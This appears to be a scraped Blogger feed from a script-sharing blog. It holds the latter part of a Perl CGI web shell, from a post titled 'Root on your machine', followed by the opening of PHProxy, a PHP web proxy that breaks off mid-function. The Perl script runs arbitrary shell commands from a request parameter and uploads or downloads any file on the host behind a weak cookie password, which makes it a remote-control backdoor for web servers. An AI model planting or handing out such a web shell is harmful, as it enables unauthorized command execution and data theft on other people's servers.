/&gt;  else # show output after command completes&lt;br /&gt;  {&lt;br /&gt;   print `$Command`;&lt;br /&gt;  }&lt;br /&gt;  if(!$WinNT)&lt;br /&gt;  {&lt;br /&gt;   alarm(0);&lt;br /&gt;  }&lt;br /&gt;  print "&amp;lt;/xmp&gt;";&lt;br /&gt; }&lt;br /&gt; &amp;PrintCommandLineInputForm;&lt;br /&gt; &amp;PrintPageFooter;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#------------------------------------------------------------------------------&lt;br /&gt;# This function displays the page that contains a link which allows the user&lt;br /&gt;# to download the specified file. The page also contains a auto-refresh&lt;br /&gt;# feature that starts the download automatically.&lt;br /&gt;# Argument 1: Fully qualified filename of the file to be downloaded&lt;br /&gt;#------------------------------------------------------------------------------&lt;br /&gt;sub PrintDownloadLinkPage&lt;br /&gt;{&lt;br /&gt; local($FileUrl) = @_;&lt;br /&gt; if(-e $FileUrl) # if the file exists&lt;br /&gt; {&lt;br /&gt;  # encode the file link so we can send it to the browser&lt;br /&gt;  $FileUrl =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;&lt;br /&gt;  $DownloadLink = "$ScriptLocation?a=download&amp;f=$FileUrl&amp;o=go";&lt;br /&gt;  $HtmlMetaHeader = "&amp;lt;meta HTTP-EQUIV=\"Refresh\" CONTENT=\"1; URL=$DownloadLink\"&gt;";&lt;br /&gt;  &amp;PrintPageHeader("c");&lt;br /&gt;  print &amp;lt;&amp;lt;END;&lt;br /&gt;&amp;lt;code&gt;&lt;br /&gt;Sending File $TransferFile...&amp;lt;br&gt;&lt;br /&gt;If the download does not start automatically,&lt;br /&gt;&amp;lt;a href="$DownloadLink"&gt;Click Here&amp;lt;/a&gt;.&lt;br /&gt;&amp;lt;/code&gt;&lt;br /&gt;END&lt;br /&gt;  &amp;PrintCommandLineInputForm;&lt;br /&gt;  &amp;PrintPageFooter;&lt;br /&gt; }&lt;br /&gt; else # file doesn't exist&lt;br /&gt; {&lt;br /&gt;  &amp;PrintPageHeader("f");&lt;br /&gt;  print "&amp;lt;code&gt;Failed to download $FileUrl: $!&amp;lt;/code&gt;";&lt;br /&gt;  &amp;PrintFileDownloadForm;&lt;br /&gt;  &amp;PrintPageFooter;&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#------------------------------------------------------------------------------&lt;br /&gt;# This function reads the specified file from the disk and sends it to the&lt;br /&gt;# browser, so that it can be downloaded by the user.&lt;br /&gt;# Argument 1: Fully qualified pathname of the file to be sent.&lt;br /&gt;#------------------------------------------------------------------------------&lt;br /&gt;sub SendFileToBrowser&lt;br /&gt;{&lt;br /&gt; local($SendFile) = @_;&lt;br /&gt; if(open(SENDFILE, $SendFile)) # file opened for reading&lt;br /&gt; {&lt;br /&gt;  if($WinNT)&lt;br /&gt;  {&lt;br /&gt;   binmode(SENDFILE);&lt;br /&gt;   binmode(STDOUT);&lt;br /&gt;  }&lt;br /&gt;  $FileSize = (stat($SendFile))[7];&lt;br /&gt;  ($Filename = $SendFile) =~  m!([^/^\\]*)$!;&lt;br /&gt;  print "Content-Type: application/x-unknown\n";&lt;br /&gt;  print "Content-Length: $FileSize\n";&lt;br /&gt;  print "Content-Disposition: attachment; filename=$1\n\n";&lt;br /&gt;  print while(&amp;lt;SENDFILE&gt;);&lt;br /&gt;  close(SENDFILE);&lt;br /&gt; }&lt;br /&gt; else # failed to open file&lt;br /&gt; {&lt;br /&gt;  &amp;PrintPageHeader("f");&lt;br /&gt;  print "&amp;lt;code&gt;Failed to download $SendFile: $!&amp;lt;/code&gt;";&lt;br /&gt;  &amp;PrintFileDownloadForm;&lt;br /&gt;  &amp;PrintPageFooter;&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#------------------------------------------------------------------------------&lt;br /&gt;# This function is called when the user downloads a file. It displays a message&lt;br /&gt;# to the user and provides a link through which the file can be downloaded.&lt;br /&gt;# This function is also called when the user clicks on that link. In this case,&lt;br /&gt;# the file is read and sent to the browser.&lt;br /&gt;#------------------------------------------------------------------------------&lt;br /&gt;sub BeginDownload&lt;br /&gt;{&lt;br /&gt; # get fully qualified path of the file to be downloaded&lt;br /&gt; if(($WinNT &amp; ($TransferFile =~ m/^\\|^.:/)) |&lt;br /&gt;  (!$WinNT &amp; ($TransferFile =~ m/^\//))) # path is absolute&lt;br /&gt; {&lt;br /&gt;  $TargetFile = $TransferFile;&lt;br /&gt; }&lt;br /&gt; else # path is relative&lt;br /&gt; {&lt;br /&gt;  chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;&lt;br /&gt;  $TargetFile .= $PathSep.$TransferFile;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; if($Options eq "go") # we have to send the file&lt;br /&gt; {&lt;br /&gt;  &amp;SendFileToBrowser($TargetFile);&lt;br /&gt; }&lt;br /&gt; else # we have to send only the link page&lt;br /&gt; {&lt;br /&gt;  &amp;PrintDownloadLinkPage($TargetFile);&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#------------------------------------------------------------------------------&lt;br /&gt;# This function is called when the user wants to upload a file. If the&lt;br /&gt;# file is not specified, it displays a form allowing the user to specify a&lt;br /&gt;# file, otherwise it starts the upload process.&lt;br /&gt;#------------------------------------------------------------------------------&lt;br /&gt;sub UploadFile&lt;br /&gt;{&lt;br /&gt; # if no file is specified, print the upload form again&lt;br /&gt; if($TransferFile eq "")&lt;br /&gt; {&lt;br /&gt;  &amp;PrintPageHeader("f");&lt;br /&gt;  &amp;PrintFileUploadForm;&lt;br /&gt;  &amp;PrintPageFooter;&lt;br /&gt;  return;&lt;br /&gt; }&lt;br /&gt; &amp;PrintPageHeader("c");&lt;br /&gt;&lt;br /&gt; # start the uploading process&lt;br /&gt; print "&amp;lt;code&gt;Uploading $TransferFile to $CurrentDir...&amp;lt;br&gt;";&lt;br /&gt;&lt;br /&gt; # get the fullly qualified pathname of the file to be created&lt;br /&gt; chop($TargetName) if ($TargetName = $CurrentDir) =~ m/[\\\/]$/;&lt;br /&gt; $TransferFile =~ m!([^/^\\]*)$!;&lt;br /&gt; $TargetName .= $PathSep.$1;&lt;br /&gt;&lt;br /&gt; $TargetFileSize = length($in{'filedata'});&lt;br /&gt; # if the file exists and we are not supposed to overwrite it&lt;br /&gt; if(-e $TargetName &amp;&amp; $Options ne "overwrite")&lt;br /&gt; {&lt;br /&gt;  print "Failed: Destination file already exists.&amp;lt;br&gt;";&lt;br /&gt; }&lt;br /&gt; else # file is not present&lt;br /&gt; {&lt;br /&gt;  if(open(UPLOADFILE, "&gt;$TargetName"))&lt;br /&gt;  {&lt;br /&gt;   binmode(UPLOADFILE) if $WinNT;&lt;br /&gt;   print UPLOADFILE $in{'filedata'};&lt;br /&gt;   close(UPLOADFILE);&lt;br /&gt;   print "Transfered $TargetFileSize Bytes.&amp;lt;br&gt;";&lt;br /&gt;   print "File Path: $TargetName&amp;lt;br&gt;";&lt;br /&gt;  }&lt;br /&gt;  else&lt;br /&gt;  {&lt;br /&gt;   print "Failed: $!&amp;lt;br&gt;";&lt;br /&gt;  }&lt;br /&gt; }&lt;br /&gt; print "&amp;lt;/code&gt;";&lt;br /&gt; &amp;PrintCommandLineInputForm;&lt;br /&gt; &amp;PrintPageFooter;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#------------------------------------------------------------------------------&lt;br /&gt;# This function is called when the user wants to download a file. If the&lt;br /&gt;# filename is not specified, it displays a form allowing the user to specify a&lt;br /&gt;# file, otherwise it displays a message to the user and provides a link&lt;br /&gt;# through  which the file can be downloaded.&lt;br /&gt;#------------------------------------------------------------------------------&lt;br /&gt;sub DownloadFile&lt;br /&gt;{&lt;br /&gt; # if no file is specified, print the download form again&lt;br /&gt; if($TransferFile eq "")&lt;br /&gt; {&lt;br /&gt;  &amp;PrintPageHeader("f");&lt;br /&gt;  &amp;PrintFileDownloadForm;&lt;br /&gt;  &amp;PrintPageFooter;&lt;br /&gt;  return;&lt;br /&gt; }&lt;br /&gt; &lt;br /&gt; # get fully qualified path of the file to be downloaded&lt;br /&gt; if(($WinNT &amp; ($TransferFile =~ m/^\\|^.:/)) |&lt;br /&gt;  (!$WinNT &amp; ($TransferFile =~ m/^\//))) # path is absolute&lt;br /&gt; {&lt;br /&gt;  $TargetFile = $TransferFile;&lt;br /&gt; }&lt;br /&gt; else # path is relative&lt;br /&gt; {&lt;br /&gt;  chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;&lt;br /&gt;  $TargetFile .= $PathSep.$TransferFile;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; if($Options eq "go") # we have to send the file&lt;br /&gt; {&lt;br /&gt;  &amp;SendFileToBrowser($TargetFile);&lt;br /&gt; }&lt;br /&gt; else # we have to send only the link page&lt;br /&gt; {&lt;br /&gt;  &amp;PrintDownloadLinkPage($TargetFile);&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#------------------------------------------------------------------------------&lt;br /&gt;# Main Program - Execution Starts Here&lt;br /&gt;#------------------------------------------------------------------------------&lt;br /&gt;&amp;ReadParse;&lt;br /&gt;&amp;GetCookies;&lt;br /&gt;&lt;br /&gt;$ScriptLocation = $ENV{'SCRIPT_NAME'};&lt;br /&gt;$ServerName = $ENV{'SERVER_NAME'};&lt;br /&gt;$LoginPassword = $in{'p'};&lt;br /&gt;$RunCommand = $in{'c'};&lt;br /&gt;$TransferFile = $in{'f'};&lt;br /&gt;$Options = $in{'o'};&lt;br /&gt;&lt;br /&gt;$Action = $in{'a'};&lt;br /&gt;$Action = "login" if($Action eq ""); # no action specified, use default&lt;br /&gt;&lt;br /&gt;# get the directory in which the commands will be executed&lt;br /&gt;$CurrentDir = $in{'d'};&lt;br /&gt;chop($CurrentDir = `$CmdPwd`) if($CurrentDir eq "");&lt;br /&gt;&lt;br /&gt;$LoggedIn = $Cookies{'SAVEDPWD'} eq $Password;&lt;br /&gt;&lt;br /&gt;if($Action eq "login" || !$LoggedIn) # user needs/has to login&lt;br /&gt;{&lt;br /&gt; &amp;PerformLogin;&lt;br /&gt;}&lt;br /&gt;elsif($Action eq "command") # user wants to run a command&lt;br /&gt;{&lt;br /&gt; &amp;ExecuteCommand;&lt;br /&gt;}&lt;br /&gt;elsif($Action eq "upload") # user wants to upload a file&lt;br /&gt;{&lt;br /&gt; &amp;UploadFile;&lt;br /&gt;}&lt;br /&gt;elsif($Action eq "download") # user wants to download a file&lt;br /&gt;{&lt;br /&gt; &amp;DownloadFile;&lt;br /&gt;}&lt;br /&gt;elsif($Action eq "logout") # user wants to logout&lt;br /&gt;{&lt;br /&gt; &amp;PerformLogout;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5729501043429724554-3291583463984109764?l=scripts-n-codes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scripts-n-codes.blogspot.com/feeds/3291583463984109764/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5729501043429724554&amp;postID=3291583463984109764&amp;isPopup=true' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5729501043429724554/posts/default/3291583463984109764'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5729501043429724554/posts/default/3291583463984109764'/><link rel='alternate' type='text/html' href='http://scripts-n-codes.blogspot.com/2010/01/perl-cgi-root-on-your-machine-rooter-sa.html' title='[PERL &amp;&amp; CGI] Root on your machine | Rooter sa machine'/><author><name>ubu</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_Rpg-hP4Y4L4/Sz_mBCVri-I/AAAAAAAAAew/Rp3OiKG2TJ8/S220/ubutux2.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5729501043429724554.post-8220985148890803427</id><published>2010-01-12T15:28:00.000-08:00</published><updated>2010-01-12T15:28:34.611-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='cookies'/><category scheme='http://www.blogger.com/atom/ns#' term='ip'/><category scheme='http://www.blogger.com/atom/ns#' term='download'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><category scheme='http://www.blogger.com/atom/ns#' term='télécharger'/><category scheme='http://www.blogger.com/atom/ns#' term='sessions'/><category scheme='http://www.blogger.com/atom/ns#' term='proxy'/><title type='text'>[PHP] A PHP Proxy | Un proxy en PHP</title><content type='html'>&lt;script type="text/javascript" src="http://sites.google.com/site/dzubugnu/hightlighter/scripts/shBrushCss.js"&gt;&lt;/script&gt;&lt;br /&gt;&lt;script type="text/javascript" src="http://sites.google.com/site/dzubugnu/hightlighter/scripts/shBrushPhp.js"&gt;&lt;/script&gt;&lt;br /&gt;&lt;script type="text/javascript" src="http://sites.google.com/site/dzubugnu/hightlighter/scripts/shBrushPhp.js"&gt;&lt;/script&gt;&lt;br /&gt;&lt;ul&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;  &lt;li&gt;&lt;a href="#A88271848484873780"&gt;&lt;span&gt;Description&amp;nbsp;[FR]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="#B88271848484873780"&gt;&lt;span&gt;Description&amp;nbsp;[EN]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="#C88271848484873780"&gt;&lt;span&gt;الوصف&amp;nbsp;[AR]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="#D88271848484873780"&gt;&lt;span&gt;PHP&amp;nbsp;(#3)&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div id="A88271848484873780"&gt;Un proxy en PHP...&lt;span class="fullpost"&gt;&lt;br&gt;&lt;div&gt;Gère les cookies, les sessions, le javascript et les téléchargements.&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="B88271848484873780"&gt;A PHP proxy...&lt;span class="fullpost"&gt;&lt;br&gt;&lt;div&gt;Manages cookies, sessions, scripts and downloads.&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="C88271848484873780"&gt;&lt;div dir="rtl"&gt;بروكسي PHP&lt;/div&gt;&lt;span class="fullpost"&gt;&lt;br&gt;&lt;div dir="rtl"&gt;يدير الكوكيز، الدورات، الجافاسكريبت و التنزيلات&amp;nbsp;&amp;nbsp;&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="D88271848484873780"&gt;&lt;a onClick='opennew("D88271848484873780")' rel='onw'&gt;Open in a new window&lt;/a&gt;&lt;br /&gt;&lt;pre class="brush: php;" rel="long"&gt;&amp;lt;?php&lt;br /&gt;//#######################################################&lt;br /&gt;// find more codes on scripts-n-codes.blogspot.com&lt;br /&gt;//#######################################################&lt;br /&gt;//&lt;br /&gt;// this file -&gt; index.php&lt;br /&gt;//&lt;br /&gt;&lt;br /&gt;   +-----------------+------------------------------------------------------------+&lt;br /&gt;   |  Script         | PHProxy                                                    |&lt;br /&gt;   |  Author         | Abdullah Arif                                              |&lt;br /&gt;   |  Last Modified  | 5:27 PM 1/20/2007                                          |&lt;br /&gt;   +-----------------+------------------------------------------------------------+&lt;br /&gt;   |  This program is free software; you can redistribute it and/or               |&lt;br /&gt;   |  modify it under the terms of the GNU General Public License                 |&lt;br /&gt;   |  as published by the Free Software Foundation; either version 2              |&lt;br /&gt;   |  of the License, or (at your option) any later version.                      |&lt;br /&gt;   |                                                                              |&lt;br /&gt;   |  This program is distributed in the hope that it will be useful,             |&lt;br /&gt;   |  but WITHOUT ANY WARRANTY; without even the implied warranty of              |&lt;br /&gt;   |  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the               |&lt;br /&gt;   |  GNU General Public License for more details.                                |&lt;br /&gt;   |                                                                              |&lt;br /&gt;   |  You should have received a copy of the GNU General Public License           |&lt;br /&gt;   |  along with this program; if not, write to the Free Software                 |&lt;br /&gt;   |  Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA. |&lt;br /&gt;   +------------------------------------------------------------------------------+&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;error_reporting(E_ALL);&lt;br /&gt;&lt;br /&gt;//&lt;br /&gt;// CONFIGURABLE OPTIONS&lt;br /&gt;//&lt;br /&gt;&lt;br /&gt;$_config            = array&lt;br /&gt;                    (&lt;br /&gt;                        'url_var_name'             =&gt; 'q',&lt;br /&gt;                        'flags_var_name'           =&gt; 'hl',&lt;br /&gt;                        'get_form_name'            =&gt; '____pgfa',&lt;br /&gt;                        'basic_auth_var_name'      =&gt; '____pbavn',&lt;br /&gt;                        'max_file_size'            =&gt; -1,&lt;br /&gt;                        'allow_hotlinking'         =&gt; 0,&lt;br /&gt;                        'upon_hotlink'             =&gt; 1,&lt;br /&gt;                        'compress_output'          =&gt; 0&lt;br /&gt;                    );&lt;br /&gt;$_flags             = array&lt;br /&gt;                    (&lt;br /&gt;                        'include_form'    =&gt; 1, &lt;br /&gt;                        'remove_scripts'  =&gt; 1,&lt;br /&gt;                        'accept_cookies'  =&gt; 1,&lt;br /&gt;                        'show_images'     =&gt; 1,&lt;br /&gt;                        'show_referer'    =&gt; 1,&lt;br /&gt;                        'rotate13'        =&gt; 0,&lt;br /&gt;                        'base64_encode'   =&gt; 1,&lt;br /&gt;                        'strip_meta'      =&gt; 1,&lt;br /&gt;                        'strip_title'     =&gt; 0,&lt;br /&gt;                        'session_cookies' =&gt; 1&lt;br /&gt;                    );&lt;br /&gt;$_frozen_flags      = array&lt;br /&gt;                    (&lt;br /&gt;                        'include_form'    =&gt; 0, &lt;br /&gt;                        'remove_scripts'  =&gt; 0,&lt;br /&gt;                        'accept_cookies'  =&gt; 0,&lt;br /&gt;                        'show_images'     =&gt; 0,&lt;br /&gt;                        'show_referer'    =&gt; 0,&lt;br /&gt;                        'rotate13'        =&gt; 0,&lt;br /&gt;                        'base64_encode'   =&gt; 0,&lt;br /&gt;                        'strip_meta'      =&gt; 0,&lt;br /&gt;                        'strip_title'     =&gt; 0,&lt;br /&gt;                        'session_cookies' =&gt; 0&lt;br /&gt;                    );                    &lt;br /&gt;$_labels            = array&lt;br /&gt;                    (&lt;br /&gt;                        'include_form'    =&gt; array('Include Form', 'Include mini URL-form on every page'), &lt;br /&gt;                        'remove_scripts'  =&gt; array('Remove Scripts', 'Remove client-side scripting (i.e JavaScript)'), &lt;br /&gt;                        'accept_cookies'  =&gt; array('Accept Cookies', 'Allow cookies to be stored'), &lt;br /&gt;                        'show_images'     =&gt; array('Show Images', 'Show images on browsed pages'), &lt;br /&gt;                        'show_referer'    =&gt; array('Show Referer', 'Show actual referring Website'), &lt;br /&gt;                        'rotate13'        =&gt; array('Rotate13', 'Use ROT13 encoding on the address'), &lt;br /&gt;                        'base64_encode'   =&gt; array('Base64', 'Use base64 encodng on the address'), &lt;br /&gt;                        'strip_meta'      =&gt; array('Strip Meta', 'Strip meta information tags from pages'), &lt;br /&gt;                        'strip_title'     =&gt; array('Strip Title', 'Strip page title'), &lt;br /&gt;                        'session_cookies' =&gt; array('Session Cookies', 'Store cookies for this session only') &lt;br /&gt;                    );&lt;br /&gt;                    &lt;br /&gt;$_hosts             = array&lt;br /&gt;                    (&lt;br /&gt;                        '#^127\.|192\.168\.|10\.|172\.(1[6-9]|2[0-9]|3[01])\.|localhost#i'&lt;br /&gt;                    );&lt;br /&gt;$_hotlink_domains   = array();&lt;br /&gt;$_insert            = array();&lt;br /&gt;&lt;br /&gt;//&lt;br /&gt;// END CONFIGURABLE OPTIONS. The ride for you ends here. Close the file.&lt;br /&gt;//&lt;br /&gt;&lt;br /&gt;$_iflags            = '';&lt;br /&gt;$_system            = array&lt;br /&gt;                    (&lt;br /&gt;                        'ssl'          =&gt; extension_loaded('openssl') &amp;&amp; version_compare(PHP_VERSION, '4.3.0', '&gt;='),&lt;br /&gt;                        'uploads'      =&gt; ini_get('file_uploads'),&lt;br /&gt;                        'gzip'         =&gt; extension_loaded('zlib') &amp;&amp; !ini_get('zlib.output_compression'),&lt;br /&gt;                        'stripslashes' =&gt; get_magic_quotes_gpc()&lt;br /&gt;                    );&lt;br /&gt;$_proxify           = array('text/html' =&gt; 1, 'application/xml+xhtml' =&gt; 1, 'application/xhtml+xml' =&gt; 1, 'text/css' =&gt; 1);&lt;br /&gt;$_version           = '0.5b2';&lt;br /&gt;$_http_host         = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'localhost');&lt;br /&gt;$_script_url        = 'http' . ((isset($_ENV['HTTPS']) &amp;&amp; $_ENV['HTTPS'] == 'on') || $_SERVER['SERVER_PORT'] == 443 ? 's' : '') . '://' . $_http_host . ($_SERVER['SERVER_PORT'] != 80 &amp;&amp; $_SERVER['SERVER_PORT'] != 443 ? ':' . $_SERVER['SERVER_PORT'] : '') . $_SERVER['PHP_SELF'];&lt;br /&gt;$_script_base       = substr($_script_url, 0, strrpos($_script_url, '/')+1);&lt;br /&gt;$_url               = '';&lt;br /&gt;$_url_parts         = array();&lt;br /&gt;$_base              = array();&lt;br /&gt;$_socket            = null;&lt;br /&gt;$_request_method    = $_SERVER['REQUEST_METHOD'];&lt;br /&gt;$_request_headers   = '';&lt;br /&gt;$_cookie            = '';&lt;br /&gt;$_post_body         = '';&lt;br /&gt;$_response_headers  = array();&lt;br /&gt;$_response_keys     = array();  &lt;br /&gt;$_http_version      = '';&lt;br /&gt;$_response_code     = 0;&lt;br /&gt;$_content_type      = 'text/html';&lt;br /&gt;$_content_length    = false;&lt;br /&gt;$_content_disp      = '';&lt;br /&gt;$_set_cookie        = array();&lt;br /&gt;$_retry             = false;&lt;br /&gt;$_quit              = false;&lt;br /&gt;$_basic_auth_header = '';&lt;br /&gt;$_basic_auth_realm  = '';&lt;br /&gt;$_auth_creds        = array();&lt;br /&gt;$_response_body     = '';&lt;br /&gt;&lt;br /&gt;//&lt;br /&gt;// FUNCTION DECLARATIONS&lt;br /&gt;//&lt;br /&gt;&lt;br /&gt;function show_report($data)&lt;br /&gt;{    &lt;br /&gt;    include $data['which'] . '.inc.php';&lt;br /&gt;    exit(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function add_cookie($name, $value, $expires = 0)&lt;br /&gt;{&lt;br /&gt;    return rawurlencode(rawurlencode($name)) . '=' . rawurlencode(rawurlencode($value)) . (empty($expires) ? '' : '; expires=' . gmdate('D, d-M-Y H:i:s \G\M\T', $expires)) . '; path=/; domain=.' . $GLOBALS['_http_host'];&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function set_post_vars($array, $parent_key = null)&lt;br /&gt;{&lt;br /&gt;    $temp = array();&lt;br /&gt;&lt;br /&gt;    foreach ($array as $key =&gt; $value)&lt;br /&gt;    {&lt;br /&gt;        $key = isset($parent_key) ? sprintf('%s[%s]', $parent_key, urlencode($key)) : urlencode($key);&lt;br /&gt;        if (is_array($value))&lt;br /&gt;        {&lt;br /&gt;            $temp = array_merge($temp, set_post_vars($value, $key));&lt;br /&gt;        }&lt;br /&gt;        else&lt;br /&gt;        {&lt;br /&gt;            $temp[$key] = urlencode($value);&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;    return $temp;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function set_post_files($array, $parent_key = null)&lt;br /&gt;{&lt;br /&gt;    $temp = array();&lt;br /&gt;&lt;br /&gt;    foreach ($array as $key =&gt; $value)&lt;br /&gt;    {&lt;br /&gt;        $key = isset($parent_key) ? sprintf('%s[%s]', $parent_key, urlencode($key)) : urlencode($key);&lt;br /&gt;        if (is_array($value))&lt;br /&gt;        {&lt;br /&gt;            $temp = array_merge_recursive($temp, set_post_files($value, $key));&lt;br /&gt;        }&lt;br /&gt;        else if (preg_match('#^([^\[\]]+)\[(name|type|tmp_name)\]#', $key, $m))&lt;br /&gt;        {&lt;br /&gt;            $temp[str_replace($m[0], $m[1], $key)][$m[2]] = $value;&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    return $temp;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function url_parse($url, &amp; $container)&lt;br /&gt;{&lt;br /&gt;    $temp = @parse_url($url);&lt;br /&gt;&lt;br /&gt;    if (!empty($temp))&lt;br /&gt;    {&lt;br /&gt;        $temp['port_ext'] = '';&lt;br /&gt;        $temp['base']     = $temp['scheme'] . '://' . $temp['host'];&lt;br /&gt;&lt;br /&gt;        if (isset($temp['port']))&lt;br /&gt;        {&lt;br /&gt;            $temp['base'] .= $temp['port_ext'] = ':' . $temp['port'];&lt;br /&gt;        }&lt;br /&gt;        else&lt;br /&gt;        {&lt;br /&gt;            $temp['port'] = $temp['scheme'] === 'https' ? 443 : 80;&lt;br /&gt;        }&lt;br /&gt;        &lt;br /&gt;        $temp['path'] = isset($temp['path']) ? $temp['path'] : '/';&lt;br /&gt;        $path         = array();&lt;br /&gt;        $temp['path'] = explode('/', $temp['path']);&lt;br /&gt;    &lt;br /&gt;        foreach ($temp['path'] as $dir)&lt;br /&gt;        {&lt;br /&gt;            if ($dir === '..')&lt;br /&gt;            {&lt;br /&gt;                array_pop($path);&lt;br /&gt;            }&lt;br /&gt;            else if ($dir !== '.')&lt;br /&gt;            {&lt;br /&gt;                for ($dir = rawurldecode($dir), $new_dir = '', $i = 0, $count_i = strlen($dir); $i &amp;lt; $count_i; $new_dir .= strspn($dir{$i}, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789$-_.+!*\'(),?:@&amp;;=') ? $dir{$i} : rawurlencode($dir{$i}), ++$i);&lt;br /&gt;                $path[] = $new_dir;&lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        $temp['path']     = str_replace('/%7E', '/~', '/' . ltrim(implode('/', $path), '/'));&lt;br /&gt;        $temp['file']     = substr($temp['path'], strrpos($temp['path'], '/')+1);&lt;br /&gt;        $temp['dir']      = substr($temp['path'], 0, strrpos($temp['path'], '/'));&lt;br /&gt;        $temp['base']    .= $temp['dir'];&lt;br /&gt;        $temp['prev_dir'] = substr_count($temp['path'], '/') &gt; 1 ? substr($temp['base'], 0, strrpos($temp['base'], '/')+1) : $temp['base'] . '/';&lt;br /&gt;        $container = $temp;&lt;br /&gt;&lt;br /&gt;        return true;&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;    return false;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function complete_url($url, $proxify = true)&lt;br /&gt;{&lt;br /&gt;    $url = trim($url);&lt;br /&gt;    &lt;br /&gt;    if ($url === '')&lt;br /&gt;    {&lt;br /&gt;        return '';&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;    $hash_pos = strrpos($url, '#');&lt;br /&gt;    $fragment = $hash_pos !== false ? '#' . substr($url, $hash_pos) : '';&lt;br /&gt;    $sep_pos  = strpos($url, '://');&lt;br /&gt;    &lt;br /&gt;    if ($sep_pos === false || $sep_pos &gt; 5)&lt;br /&gt;    {&lt;br /&gt;        switch ($url{0})&lt;br /&gt;        {&lt;br /&gt;            case '/':&lt;br /&gt;                $url = substr($url, 0, 2) === '//' ? $GLOBALS['_base']['scheme'] . ':' . $url : $GLOBALS['_base']['scheme'] . '://' . $GLOBALS['_base']['host'] . $GLOBALS['_base']['port_ext'] . $url;&lt;br /&gt;                break;&lt;br /&gt;            case '?':&lt;br /&gt;                $url = $GLOBALS['_base']['base'] . '/' . $GLOBALS['_base']['file'] . $url;&lt;br /&gt;                break;&lt;br /&gt;            case '#':&lt;br /&gt;                $proxify = false;&lt;br /&gt;                break;&lt;br /&gt;            case 'm':&lt;br /&gt;                if (substr($url, 0, 7) == 'mailto:')&lt;br /&gt;                {&lt;br /&gt;                    $proxify = false;&lt;br /&gt;                    break;&lt;br /&gt;                }&lt;br /&gt;            default:&lt;br /&gt;                $url = $GLOBALS['_base']['base'] . '/' . $url;&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    return $proxify ? "{$GLOBALS['_script_url']}?{$GLOBALS['_config']['url_var_name']}=" . encode_url($url) . $fragment : $url;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function proxify_inline_css($css)&lt;br /&gt;{&lt;br /&gt;    preg_match_all('#url\s*\(\s*(([^)]*(\\\))*[^)]*)(\)|$)?#i', $css, $matches, PREG_SET_ORDER);&lt;br /&gt;&lt;br /&gt;    for ($i = 0, $count = count($matches); $i &amp;lt; $count; ++$i)&lt;br /&gt;    {&lt;br /&gt;        $css = str_replace($matches[$i][0], 'url(' . proxify_css_url($matches[$i][1]) . ')', $css);&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;    return $css;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function proxify_css($css)&lt;br /&gt;{&lt;br /&gt;    $css = proxify_inline_css($css);&lt;br /&gt;&lt;br /&gt;    preg_match_all("#@import\s*(?:\"([^\"&gt;]*)\"?|'([^'&gt;]*)'?)([^;]*)(;|$)#i", $css, $matches, PREG_SET_ORDER);&lt;br /&gt;&lt;br /&gt;    for ($i = 0, $count = count($matches); $i &amp;lt; 